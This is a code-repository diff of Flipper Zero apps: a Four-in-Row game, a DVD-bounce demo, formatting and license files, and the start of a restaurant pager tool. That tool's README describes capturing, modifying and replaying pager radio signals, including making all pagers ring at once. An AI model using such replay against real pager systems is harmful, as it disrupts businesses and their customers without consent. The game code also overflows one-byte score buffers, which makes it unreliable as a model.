0x02, 0x80, 0x00, 0x20, 0x00, 0x40, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x05, 0x00, 0x02,
0x60, 0x00, 0x10, 0x00, 0x40, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0xab, 0x00, 0x00, 0x0c, 0x18,
0x00, 0x0c, 0x00, 0x20, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x15, 0x00, 0xf0, 0x07, 0x00,
0x03, 0xc0, 0x11, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0xab, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00,
0x20, 0x16, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x15, 0x00, 0x00, 0x00, 0x30, 0x00, 0x20,
0x08, 0x21, 0x00, 0x00, 0x00, 0x00, 0x80, 0xab, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x20, 0x80,
0x40, 0x00, 0x00, 0x00, 0x00, 0x40, 0x5d, 0x15, 0x00, 0x00, 0x00, 0x03, 0x00, 0x40, 0x80, 0x80,
0x00, 0x00, 0x00, 0x00, 0xc0, 0xea, 0x02, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x40, 0x40, 0x00, 0x01,
0x00, 0x00, 0x00, 0x40, 0x55, 0x57, 0x00, 0x00, 0xf8, 0x07, 0x00, 0x80, 0x40, 0x00, 0x01, 0x00,
0x00, 0x00, 0xc0, 0xaa, 0x3a, 0x00, 0x00, 0xfe, 0x05, 0x00, 0x80, 0x40, 0x00, 0x01, 0x00, 0x00,
0x00, 0xe0, 0x55, 0xd5, 0x01, 0x00, 0xfc, 0x05, 0x00, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00,
0xf0, 0xab, 0x0a, 0x1e, 0x00, 0x70, 0x0c, 0x00, 0x80, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0xd8,
0x57, 0x55, 0xe1, 0x01, 0x00, 0x14, 0x00, 0x80, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0xec, 0xaf,
0x0a, 0x00, 0xfe, 0x07, 0x14, 0x00, 0xe0, 0x00, 0x7c, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x7f, 0x55,
0x05, 0x00, 0x18, 0x24, 0x00, 0x10, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0xeb, 0xff, 0x0a, 0x00,
0x00, 0x20, 0x22, 0x00, 0x08, 0x02, 0x20, 0x00, 0x00, 0x00, 0x00, 0xf5, 0xff, 0x55, 0x05, 0x00,
0x48, 0x22, 0x00, 0x04, 0x04, 0x10, 0x00, 0x00, 0x00, 0x80, 0xfa, 0xff, 0x0f, 0x00, 0x00, 0x8c,
0x42, 0x00, 0x06, 0x08, 0x08, 0x00, 0x00, 0x00, 0x40, 0xf5, 0xff, 0x5f, 0x15, 0x00, 0x06, 0x4b,
0x80, 0x09, 0x30, 0x04, 0x00, 0x00, 0x00, 0xc0, 0xfa, 0xff, 0xea, 0x00, 0x00, 0x07, 0x52, 0x40,
0x10, 0xc0, 0x06, 0x00, 0x00, 0x00, 0x60, 0xf5, 0x7f, 0x55, 0x17, 0x80, 0x0f, 0x72, 0x30, 0x20,
0x00, 0x07, 0x00, 0x00, 0x00, 0xb0, 0xfa, 0xbf, 0xaa, 0x38, 0xc0, 0x1f, 0xf4, 0xac, 0x42, 0x00,
0x04, 0x00, 0x00, 0x00, 0x50, 0xf5, 0x5f, 0x55, 0xd5, 0xe1, 0x3f, 0x74, 0x57, 0x81, 0x01, 0x02,
0x00, 0x00, 0x00, 0xa8, 0xfa, 0xaf, 0xaa, 0x80, 0xf3, 0x7f, 0xf8, 0xaa, 0x0a, 0x06, 0x01, 0x00,
0x00, 0x00};
void drawScreen_1(Canvas* canvas) {
canvas_set_bitmap_mode(canvas, true);
// Layer 3
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 86, 22, "24cXX ");
// Layer 3
canvas_draw_str(canvas, 77, 10, "Dr.Mosfet ");
// Layer 4
canvas_draw_str(canvas, 67, 34, "Programmer");
// DolphinMafia
canvas_draw_xbm(canvas, -9, 12, 119, 62, image_DolphinMafia_0_bits);
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 86 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

+325
View File
@@ -0,0 +1,325 @@
#include <stdio.h>
#include <furi.h>
#include <gui/gui.h>
#include <input/input.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <dolphin/dolphin.h>
static int matrix[6][7] = {0};
static int cursorx = 3;
static int cursory = 5;
static int player = 1;
static int scoreX = 0;
static int scoreO = 0;
typedef struct {
FuriMutex* mutex;
} FourInRowState;
void init() {
for(size_t i = 0; i < 6; i++) {
for(size_t j = 0; j < 7; j++) {
matrix[i][j] = 0;
}
}
cursorx = 3;
cursory = 5;
player = 1;
}
const NotificationSequence end = {
&message_vibro_on,
&message_note_ds4,
&message_delay_10,
&message_sound_off,
&message_delay_10,
&message_note_ds4,
&message_delay_10,
&message_sound_off,
&message_delay_10,
&message_note_ds4,
&message_delay_10,
&message_sound_off,
&message_delay_10,
&message_vibro_off,
NULL,
};
void intToStr(int num, char* str) {
int i = 0, sign = 0;
if(num < 0) {
num = -num;
sign = 1;
}
do {
str[i++] = num % 10 + '0';
num /= 10;
} while(num > 0);
if(sign) {
str[i++] = '-';
}
str[i] = '\0';
// Reverse the string
int j, len = i;
char temp;
for(j = 0; j < len / 2; j++) {
temp = str[j];
str[j] = str[len - j - 1];
str[len - j - 1] = temp;
}
}
int next_height(int x) {
if(matrix[0][x] != 0) {
return -1;
}
for(size_t y = 1; y < 6; y++) {
if(matrix[y][x] != 0) {
return y - 1;
}
}
return 5;
}
int wincheck() {
for(size_t y = 0; y <= 2; y++) {
for(size_t x = 0; x <= 6; x++) {
if(matrix[y][x] != 0 && matrix[y][x] == matrix[y + 1][x] &&
matrix[y][x] == matrix[y + 2][x] && matrix[y][x] == matrix[y + 3][x]) {
return matrix[y][x];
}
}
}
for(size_t y = 0; y <= 5; y++) {
for(size_t x = 0; x <= 3; x++) {
if(matrix[y][x] != 0 && matrix[y][x] == matrix[y][x + 1] &&
matrix[y][x] == matrix[y][x + 2] && matrix[y][x] == matrix[y][x + 3]) {
return matrix[y][x];
}
}
}
for(size_t y = 0; y <= 2; y++) {
for(size_t x = 0; x <= 3; x++) {
if(matrix[y][x] != 0 && matrix[y][x] == matrix[y + 1][x + 1] &&
matrix[y][x] == matrix[y + 2][x + 2] && matrix[y][x] == matrix[y + 3][x + 3]) {
return matrix[y][x];
}
}
}
for(size_t y = 3; y <= 5; y++) {
for(size_t x = 0; x <= 3; x++) {
if(matrix[y][x] != 0 && matrix[y][x] == matrix[y - 1][x + 1] &&
matrix[y][x] == matrix[y - 2][x + 2] && matrix[y][x] == matrix[y - 3][x + 3]) {
return matrix[y][x];
}
}
}
bool tf = true;
for(size_t y = 0; y < 6; y++) {
for(size_t x = 0; x < 7; x++) {
if(matrix[y][x] == 0) {
tf = false;
}
}
}
if(tf) {
return 0;
}
return -1;
}
static void draw_callback(Canvas* canvas, void* ctx) {
furi_assert(ctx);
const FourInRowState* fourinrow_state = ctx;
furi_mutex_acquire(fourinrow_state->mutex, FuriWaitForever);
canvas_clear(canvas);
if(wincheck() != -1) {
canvas_set_font(canvas, FontPrimary);
if(wincheck() == 0) {
canvas_draw_str(canvas, 30, 35, "Draw! O_o");
}
if(wincheck() == 1) {
canvas_draw_str(canvas, 30, 35, "Player X win!");
}
if(wincheck() == 2) {
canvas_draw_str(canvas, 30, 35, "Player O win!");
}
furi_mutex_release(fourinrow_state->mutex);
return;
}
for(size_t i = 0; i < 6; i++) {
for(size_t j = 0; j < 7; j++) {
char el[2];
switch(matrix[i][j]) {
case 0:
strcpy(el, "_\0");
break;
case 1:
strcpy(el, "X\0");
break;
case 2:
strcpy(el, "O\0");
break;
}
canvas_draw_str(canvas, j * 10 + 10, i * 10 + 10, el);
}
}
canvas_draw_str(canvas, cursorx * 10 + 8, cursory * 10 + 10, "[ ]");
if(player == 1) {
canvas_draw_str(canvas, 80, 10, "Turn: X");
}
if(player == 2) {
canvas_draw_str(canvas, 80, 10, "Turn: O");
}
char scX[1];
intToStr(scoreX, scX);
char scO[1];
intToStr(scoreO, scO);
canvas_draw_str(canvas, 80, 20, "X:");
canvas_draw_str(canvas, 90, 20, scX);
canvas_draw_str(canvas, 80, 30, "O:");
canvas_draw_str(canvas, 90, 30, scO);
furi_mutex_release(fourinrow_state->mutex);
}
static void input_callback(InputEvent* input_event, void* ctx) {
// Проверяем, что контекст не нулевой
furi_assert(ctx);
FuriMessageQueue* event_queue = ctx;
furi_message_queue_put(event_queue, input_event, FuriWaitForever);
}
int32_t four_in_row_app(void* p) {
UNUSED(p);
// Текущее событие типа InputEvent
InputEvent event;
// Очередь событий на 8 элементов размера InputEvent
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
FourInRowState* fourinrow_state = malloc(sizeof(FourInRowState));
fourinrow_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); // Alloc Mutex
if(!fourinrow_state->mutex) {
FURI_LOG_E("4inRow", "cannot create mutex\r\n");
furi_message_queue_free(event_queue);
free(fourinrow_state);
return 255;
}
dolphin_deed(DolphinDeedPluginGameStart);
// Создаем новый view port
ViewPort* view_port = view_port_alloc();
// Создаем callback отрисовки, без контекста
view_port_draw_callback_set(view_port, draw_callback, fourinrow_state);
// Создаем callback нажатий на клавиши, в качестве контекста передаем
// нашу очередь сообщений, чтоб запихивать в неё эти события
view_port_input_callback_set(view_port, input_callback, event_queue);
// Создаем GUI приложения
Gui* gui = furi_record_open(RECORD_GUI);
// Подключаем view port к GUI в полноэкранном режиме
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION);
notification_message_block(notification, &sequence_display_backlight_enforce_on);
// Бесконечный цикл обработки очереди событий
while(1) {
// Выбираем событие из очереди в переменную event (ждем бесконечно долго, если очередь пуста)
// и проверяем, что у нас получилось это сделать
if(furi_message_queue_get(event_queue, &event, FuriWaitForever) == FuriStatusOk) {
if((event.type == InputTypePress) && (event.key == InputKeyBack)) {
break;
}
furi_mutex_acquire(fourinrow_state->mutex, FuriWaitForever);
if(wincheck() != -1) {
notification_message(notification, &end);
furi_delay_ms(1000);
if(wincheck() == 1) {
scoreX++;
}
if(wincheck() == 2) {
scoreO++;
}
init();
furi_mutex_release(fourinrow_state->mutex);
continue;
}
if(event.type == InputTypePress) {
if(event.key == InputKeyOk) {
int nh = next_height(cursorx);
if(nh != -1) {
matrix[nh][cursorx] = player;
player = 3 - player;
}
}
if(event.key == InputKeyUp) {
//cursory--;
}
if(event.key == InputKeyDown) {
//cursory++;
}
if(event.key == InputKeyLeft) {
if(cursorx > 0) {
cursorx--;
}
}
if(event.key == InputKeyRight) {
if(cursorx < 6) {
cursorx++;
}
}
}
furi_mutex_release(fourinrow_state->mutex);
}
view_port_update(view_port);
}
// Чистим созданные объекты, связанные с интерфейсом
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
view_port_free(view_port);
furi_message_queue_free(event_queue);
furi_record_close(RECORD_GUI);
// Clear notification
notification_message_block(notification, &sequence_display_backlight_enforce_auto);
furi_record_close(RECORD_NOTIFICATION);
furi_mutex_free(fourinrow_state->mutex);
free(fourinrow_state);
return 0;
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 200 B

@@ -0,0 +1 @@
Four in row for flipper zero!!
@@ -0,0 +1,17 @@
App(
appid="4inrow",
name="4 in row",
apptype=FlipperAppType.EXTERNAL,
entry_point="four_in_row_app",
requires=[
"gui",
],
stack_size=1 * 1024,
order=90,
fap_icon="4inrow_10px.png",
fap_category="Games",
fap_author="leo-need-more-coffee",
fap_weburl="https://github.com/leo-need-more-coffee/flipperzero-4inrow",
fap_version="1.3",
fap_description="4 in row Game",
)
Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

+6
View File
@@ -0,0 +1,6 @@
# Flipper-DVD-Bounce
**simple dvd-bounce application for flipper**
Y'know how dvd players got that thing that bounces around?
*This is that*
@@ -0,0 +1,15 @@
# qv. https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/AppManifests.md
App(
appid="dvd_bounce",
name="DVD Bouncer",
apptype=FlipperAppType.EXTERNAL,
entry_point="bounce_moment",
requires=[
"gui",
],
stack_size=1 * 1024,
fap_icon="iconimage.png",
fap_category="Games",
fap_icon_assets="assets",
)
Binary file not shown.

After

Width:  |  Height:  |  Size: 3.5 KiB

+142
View File
@@ -0,0 +1,142 @@
#include <string.h>
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <input/input.h>
#include "dvd_bounce_icons.h"
//init some variables
int x = 0;
int y = 0;
int mode = 0;
bool bounce_up = false;
bool bounce_right = true;
char mode_str[12];
//the thing to draw to the screen
static void app_draw_callback(Canvas* canvas, void* ctx) {
UNUSED(ctx);
canvas_clear(canvas);
//draws the ball to positions x and y
canvas_draw_icon(canvas, x, y, &I_Ok_btn_pressed_13x13);
//displays the current mode
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 2, 8, "Mode:");
//converts mode int to string
itoa(mode, mode_str, 10);
canvas_draw_str(canvas, 28, 8, mode_str);
switch(mode) {
case 1:
canvas_draw_str(canvas, 2, 16, "Left/Right");
break;
case 2:
canvas_draw_str(canvas, 2, 16, "Up/Down");
break;
default:
canvas_draw_str(canvas, 2, 16, "Normal");
break;
}
}
static void app_input_callback(InputEvent* input_event, void* ctx) {
furi_assert(ctx);
FuriMessageQueue* event_queue = ctx;
furi_message_queue_put(event_queue, input_event, FuriWaitForever);
}
int32_t bounce_moment(void* p) {
UNUSED(p);
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
// Configure viewport
ViewPort* view_port = view_port_alloc();
view_port_draw_callback_set(view_port, app_draw_callback, view_port);
view_port_input_callback_set(view_port, app_input_callback, event_queue);
// Register viewport in GUI
Gui* gui = furi_record_open(RECORD_GUI);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
InputEvent event;
bool running = true;
while(running) {
if(furi_message_queue_get(event_queue, &event, 100) == FuriStatusOk) {
if((event.type == InputTypePress) || (event.type == InputTypeRepeat)) {
//arrows move the ball by 10 in their respective directions
switch(event.key) {
case InputKeyUp:
y += -10;
break;
case InputKeyDown:
y += 10;
break;
case InputKeyLeft:
x += -10;
break;
case InputKeyRight:
x += 10;
break;
//sets the ball to the middle of the screen and sets the current mode
case InputKeyOk:
x = 51;
y = 19;
if(mode == 2) {
mode = 0;
} else {
mode += 1;
}
break;
//exits the program if back is pressed
default:
running = false;
break;
}
}
}
//bunch of conditionals determining how the ball should move
if(x <= 0) {
bounce_up = false;
}
if(x >= 115) {
bounce_up = true;
}
if(y <= 0) {
bounce_right = true;
}
if(y >= 51) {
bounce_right = false;
}
if((bounce_up) && (mode != 2)) {
x += -1;
}
if((!bounce_up) && (mode != 2)) {
x += 1;
}
if((bounce_right) && (mode != 1)) {
y += 1;
}
if((!bounce_right) && (mode != 1)) {
y += -1;
}
view_port_update(view_port);
}
//cleanup go brrrrr
view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
view_port_free(view_port);
furi_message_queue_free(event_queue);
furi_record_close(RECORD_GUI);
return 0;
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 170 B

@@ -0,0 +1,246 @@
---
Language: Cpp
AccessModifierOffset: -4
AlignAfterOpenBracket: BlockIndent
AlignArrayOfStructures: None
AlignConsecutiveAssignments:
Enabled: false
AcrossEmptyLines: false
AcrossComments: false
AlignCompound: false
AlignFunctionPointers: false
PadOperators: true
AlignConsecutiveBitFields:
Enabled: true
AcrossEmptyLines: true
AcrossComments: true
AlignCompound: false
AlignFunctionPointers: false
PadOperators: true
AlignConsecutiveDeclarations:
Enabled: false
AcrossEmptyLines: false
AcrossComments: false
AlignCompound: false
AlignFunctionPointers: false
PadOperators: true
AlignConsecutiveMacros:
Enabled: true
AcrossEmptyLines: false
AcrossComments: true
AlignCompound: true
AlignFunctionPointers: false
PadOperators: true
AlignConsecutiveShortCaseStatements:
Enabled: false
AcrossEmptyLines: false
AcrossComments: false
AlignCaseColons: false
AlignEscapedNewlines: Left
AlignOperands: Align
AlignTrailingComments:
Kind: Never
OverEmptyLines: 0
AllowAllArgumentsOnNextLine: true
AllowAllParametersOfDeclarationOnNextLine: false
AllowBreakBeforeNoexceptSpecifier: Never
AllowShortBlocksOnASingleLine: Never
AllowShortCaseLabelsOnASingleLine: false
AllowShortCompoundRequirementOnASingleLine: true
AllowShortEnumsOnASingleLine: false
AllowShortFunctionsOnASingleLine: None
AllowShortIfStatementsOnASingleLine: WithoutElse
AllowShortLambdasOnASingleLine: All
AllowShortLoopsOnASingleLine: false
AlwaysBreakAfterDefinitionReturnType: None
AlwaysBreakAfterReturnType: None
AlwaysBreakBeforeMultilineStrings: false
AlwaysBreakTemplateDeclarations: Yes
AttributeMacros:
- __capability
BinPackArguments: false
BinPackParameters: false
BitFieldColonSpacing: Both
BraceWrapping:
AfterCaseLabel: false
AfterClass: false
AfterControlStatement: Never
AfterEnum: false
AfterExternBlock: false
AfterFunction: false
AfterNamespace: false
AfterObjCDeclaration: false
AfterStruct: false
AfterUnion: false
BeforeCatch: false
BeforeElse: false
BeforeLambdaBody: false
BeforeWhile: false
IndentBraces: false
SplitEmptyFunction: true
SplitEmptyRecord: true
SplitEmptyNamespace: true
BreakAdjacentStringLiterals: true
BreakAfterAttributes: Leave
BreakAfterJavaFieldAnnotations: false
BreakArrays: true
BreakBeforeBinaryOperators: None
BreakBeforeConceptDeclarations: Always
BreakBeforeBraces: Attach
BreakBeforeInlineASMColon: OnlyMultiline
BreakBeforeTernaryOperators: false
BreakConstructorInitializers: AfterColon
BreakInheritanceList: AfterComma
BreakStringLiterals: false
ColumnLimit: 130
CommentPragmas: '^ IWYU pragma:'
CompactNamespaces: false
ConstructorInitializerIndentWidth: 8
ContinuationIndentWidth: 4
Cpp11BracedListStyle: true
DerivePointerAlignment: false
DisableFormat: false
EmptyLineAfterAccessModifier: Never
EmptyLineBeforeAccessModifier: LogicalBlock
ExperimentalAutoDetectBinPacking: false
FixNamespaceComments: false
ForEachMacros:
- foreach
- Q_FOREACH
- BOOST_FOREACH
- M_EACH
IfMacros:
- KJ_IF_MAYBE
IncludeBlocks: Preserve
IncludeCategories:
- Regex: '.*'
Priority: 1
SortPriority: 0
CaseSensitive: false
- Regex: '^(<|"(gtest|gmock|isl|json)/)'
Priority: 3
SortPriority: 0
CaseSensitive: false
- Regex: '.*'
Priority: 1
SortPriority: 0
CaseSensitive: false
IncludeIsMainRegex: '(Test)?$'
IncludeIsMainSourceRegex: ''
IndentAccessModifiers: false
IndentCaseBlocks: false
IndentCaseLabels: false
IndentExternBlock: AfterExternBlock
IndentGotoLabels: true
IndentPPDirectives: None
IndentRequiresClause: false
IndentWidth: 4
IndentWrappedFunctionNames: true
InsertBraces: false
InsertNewlineAtEOF: true
InsertTrailingCommas: None
IntegerLiteralSeparator:
Binary: 0
BinaryMinDigits: 0
Decimal: 0
DecimalMinDigits: 0
Hex: 0
HexMinDigits: 0
JavaScriptQuotes: Leave
JavaScriptWrapImports: true
KeepEmptyLinesAtTheStartOfBlocks: false
KeepEmptyLinesAtEOF: false
LambdaBodyIndentation: Signature
LineEnding: DeriveLF
MacroBlockBegin: ''
MacroBlockEnd: ''
MaxEmptyLinesToKeep: 1
NamespaceIndentation: None
ObjCBinPackProtocolList: Auto
ObjCBlockIndentWidth: 4
ObjCBreakBeforeNestedBlockParam: true
ObjCSpaceAfterProperty: true
ObjCSpaceBeforeProtocolList: true
PackConstructorInitializers: BinPack
PenaltyBreakAssignment: 10
PenaltyBreakBeforeFirstCallParameter: 30
PenaltyBreakComment: 10
PenaltyBreakFirstLessLess: 0
PenaltyBreakOpenParenthesis: 0
PenaltyBreakScopeResolution: 500
PenaltyBreakString: 10
PenaltyBreakTemplateDeclaration: 10
PenaltyExcessCharacter: 100
PenaltyIndentedWhitespace: 0
PenaltyReturnTypeOnItsOwnLine: 60
PointerAlignment: Left
PPIndentWidth: -1
QualifierAlignment: Leave
ReferenceAlignment: Pointer
ReflowComments: false
RemoveBracesLLVM: false
RemoveParentheses: Leave
RemoveSemicolon: true
RequiresClausePosition: OwnLine
RequiresExpressionIndentation: OuterScope
SeparateDefinitionBlocks: Leave
ShortNamespaceLines: 1
SkipMacroDefinitionBody: false
SortIncludes: Never
SortJavaStaticImport: Before
SortUsingDeclarations: Never
SpaceAfterCStyleCast: false
SpaceAfterLogicalNot: false
SpaceAfterTemplateKeyword: true
SpaceAroundPointerQualifiers: Default
SpaceBeforeAssignmentOperators: true
SpaceBeforeCaseColon: false
SpaceBeforeCpp11BracedList: false
SpaceBeforeCtorInitializerColon: true
SpaceBeforeInheritanceColon: true
SpaceBeforeJsonColon: false
SpaceBeforeParens: Never
SpaceBeforeParensOptions:
AfterControlStatements: false
AfterForeachMacros: false
AfterFunctionDefinitionName: false
AfterFunctionDeclarationName: false
AfterIfMacros: false
AfterOverloadedOperator: false
AfterPlacementOperator: true
AfterRequiresInClause: false
AfterRequiresInExpression: false
BeforeNonEmptyParentheses: false
SpaceBeforeRangeBasedForLoopColon: true
SpaceBeforeSquareBrackets: false
SpaceInEmptyBlock: false
SpacesBeforeTrailingComments: 1
SpacesInAngles: Never
SpacesInContainerLiterals: false
SpacesInLineCommentPrefix:
Minimum: 1
Maximum: -1
SpacesInParens: Never
SpacesInParensOptions:
InCStyleCasts: false
InConditionalStatements: false
InEmptyParentheses: false
Other: false
SpacesInSquareBrackets: false
Standard: c++20
StatementAttributeLikeMacros:
- Q_EMIT
StatementMacros:
- Q_UNUSED
- QT_REQUIRE_VERSION
TabWidth: 4
UseTab: Never
VerilogBreakBetweenInstancePorts: true
WhitespaceSensitiveMacros:
- STRINGIZE
- PP_STRINGIZE
- BOOST_PP_STRINGIZE
- NS_SWIFT_NAME
- CF_SWIFT_NAME
...
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 Denr01
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@@ -0,0 +1,72 @@
# Chief Cooker
Your ultimate Flipper Zero restaurant pager tool. Be a _real chief_ of all the restaurants on the food court!
This app supports receiving, decoding, editing and sending restaurant pager signals.
**Developed & compatible with [Momentum firmware](https://github.com/Next-Flip/Momentum-Firmware).** Other firmwares are most likely not supported (but I've not tried).
## Video demo
[![Video 1](https://img.youtube.com/vi/iuQSyesS9-o/0.jpg)](https://youtube.com/shorts/iuQSyesS9-o)
More demos:
- [Video 2](https://youtube.com/shorts/KGDAGblbtFo)
- [Video 3](https://youtube.com/shorts/QqbfHF-yDiE)
## Disclaimer
I've built this app for research and learning purposes. But please, don't use it in a way that could hurt anyone or anything.
Use it responsibly, okay?
## [Usage instructions](instructions/instructions.md)
Please, read the [instructions](instructions/instructions.md) before using the app. It will definitely make your life easier!
## Features
- **Receive** signals from pager stations
- Automatically **decode** them and dsiplay station number, pager number and action (Ring/Mute/etc)
- Manually **change encoding in real-time** to look for the best one if automatically detected encoding is not working
- **Resend** captured message to specific pager to all at once to **make them all ring**!
- **Modify** captured signal, e.g. change pager number or action
- **Save** captured signals (and give each station a name)
- Create separate **categories** for each food court you are chief on
- Display signals from saved stations **by ther names** (instead of HEX code) or hide them from list
- **Send** signals from saved stations at any time, no need to capture it again
- Of course, suports working with **external CC1101 module** to cover the area of all the pagers on your food court!
## Supported protocols
- Princeton
- SMC5326
## Supported pager encodings
- Retekess TD157
- Retekess TD165/T119
- Retekess TD174
- L8R / Retekess T111 (not tested)
- L8S / iBells ZJ-68 (check [source code](app/pager/decoder/L8SDecoder.hpp#L8) for description)
## Contributing
If you want to add any new pager encoding, please feel free to create PR with it!
Also you can open issue and share with me any captured data (and at least pager number) if you have any and maybe I'll try create a decoder for it
## Building
If you build the source code just with regular `ufbt` command, the app will probably crash due to out of memory error because your device will have less that 10 kb of free RAM on the "Scan" screen.
This is because after you compile the app with ufbt, the result executable will contain hundreds of sections with very long names like `.fast.rel.text._ZNSt17_Function_handlerIFvmEZN18PagerActionsScreenC4EP9AppConfigSt8functionIFP15StoredPagerDatavEEP12PagerDecoderP13PagerProtocolP12SubGhzModuleEUlmE_E9_M_invokeERKSt9_Any_dataOm`.
**These names stay in RAM during the execution and consume about 20kb of heap!**
The reason for it is [name mangling](https://en.wikipedia.org/wiki/Name_mangling). Perhaps, the gcc parameter `-fno-mangle` could disable it, but unfortunately, it is not possible to pass any arguments to gcc when you compile app with `ufbt`.
Luckily the sections inside the compiled file can be renamed using gcc's `objcopy` tool with `--rename-section` parameter. To automate it, I built a small python script which renames them all and gives them short names like `_s1`, `_s2`, `_s228` etc...
**Therfore you must use [scripts/build-and-clear.py](scripts/build-and-clear.py) script instead!** It will build, rename sections and upload the fap to flipper.
After building and cleaning your `.fap` with it, you'll get extra +20kb of free RAM which will make compiled app work stably.
The `.fap` files under the release tab are already cleared with this script, so if you just want to use this app without modifications, just forget about it and download the latest one from releases.
## Support & Donate
> [PayPal](https://paypal.me/denr01)
## Special Thanks
- [meoker/pagger](https://github.com/meoker/pagger) for Retekess pager encodings
- This [awesome repository](https://dev.xcjs.com/r0073dl053r/flipper-playground/-/tree/main/Sub-GHz/Restaurant_Pagers?ref_type=heads) for Retekess T111 and iBells ZJ-68 files
@@ -0,0 +1,33 @@
#pragma once
#include "lib/ui/UiManager.hpp"
#include "lib/hardware/notification/Notification.hpp"
#include "lib/hardware/subghz/FrequencyManager.hpp"
#include "AppConfig.hpp"
#include "app/screen/MainMenuScreen.hpp"
using namespace std;
class App {
public:
void Run() {
UiManager* ui = UiManager::GetInstance();
ui->InitGui();
FrequencyManager* frequencyManager = FrequencyManager::GetInstance();
AppConfig* config = new AppConfig();
config->Load();
MainMenuScreen* mainMenuScreen = new MainMenuScreen(config);
ui->PushView(mainMenuScreen->GetView());
ui->RunEventLoop();
delete frequencyManager;
delete mainMenuScreen;
delete config;
delete ui;
Notification::Dispose();
}
};
@@ -0,0 +1,78 @@
#pragma once
#include <cstdint>
#include "app/AppFileSystem.hpp"
#include "lib/file/FileManager.hpp"
#include "app/pager/SavedStationStrategy.hpp"
#define KEY_CONFIG_FREQUENCY "Frequency"
#define KEY_CONFIG_MAX_PAGERS "MaxPagerForBatchOrDetection"
#define KEY_CONFIG_REPEATS "SignalRepeats"
#define KEY_CONFIG_SAVED_STRATEGY "SavedStationStrategy"
#define KEY_CONFIG_AUTOSAVE "AutosaveFoundSignals"
#define KEY_CONFIG_USER_CATGEGORY "UserCategory"
class AppConfig {
public:
uint32_t Frequency = 433920000;
uint32_t MaxPagerForBatchOrDetection = 30;
uint32_t SignalRepeats = 10;
SavedStationStrategy SavedStrategy = SHOW_NAME;
bool AutosaveFoundSignals = true;
String* CurrentUserCategory = NULL;
private:
void readFromFile(FlipperFile* file) {
String* userCat = new String();
uint32_t savedStrategyValue = SavedStrategy;
if(CurrentUserCategory != NULL) {
delete CurrentUserCategory;
}
file->ReadUInt32(KEY_CONFIG_FREQUENCY, &Frequency);
file->ReadUInt32(KEY_CONFIG_MAX_PAGERS, &MaxPagerForBatchOrDetection);
file->ReadUInt32(KEY_CONFIG_REPEATS, &SignalRepeats);
file->ReadUInt32(KEY_CONFIG_SAVED_STRATEGY, &savedStrategyValue);
file->ReadBool(KEY_CONFIG_AUTOSAVE, &AutosaveFoundSignals);
file->ReadString(KEY_CONFIG_USER_CATGEGORY, userCat);
SavedStrategy = static_cast<enum SavedStationStrategy>(savedStrategyValue);
if(!userCat->isEmpty()) {
CurrentUserCategory = userCat;
} else {
CurrentUserCategory = NULL;
delete userCat;
}
}
void writeToFile(FlipperFile* file) {
file->WriteUInt32(KEY_CONFIG_FREQUENCY, Frequency);
file->WriteUInt32(KEY_CONFIG_MAX_PAGERS, MaxPagerForBatchOrDetection);
file->WriteUInt32(KEY_CONFIG_REPEATS, SignalRepeats);
file->WriteUInt32(KEY_CONFIG_SAVED_STRATEGY, SavedStrategy);
file->WriteBool(KEY_CONFIG_AUTOSAVE, AutosaveFoundSignals);
file->WriteString(KEY_CONFIG_USER_CATGEGORY, CurrentUserCategory != NULL ? CurrentUserCategory->cstr() : "");
}
public:
void Load() {
FlipperFile* configFile = FileManager().OpenRead(CONFIG_FILE_PATH);
if(configFile != NULL) {
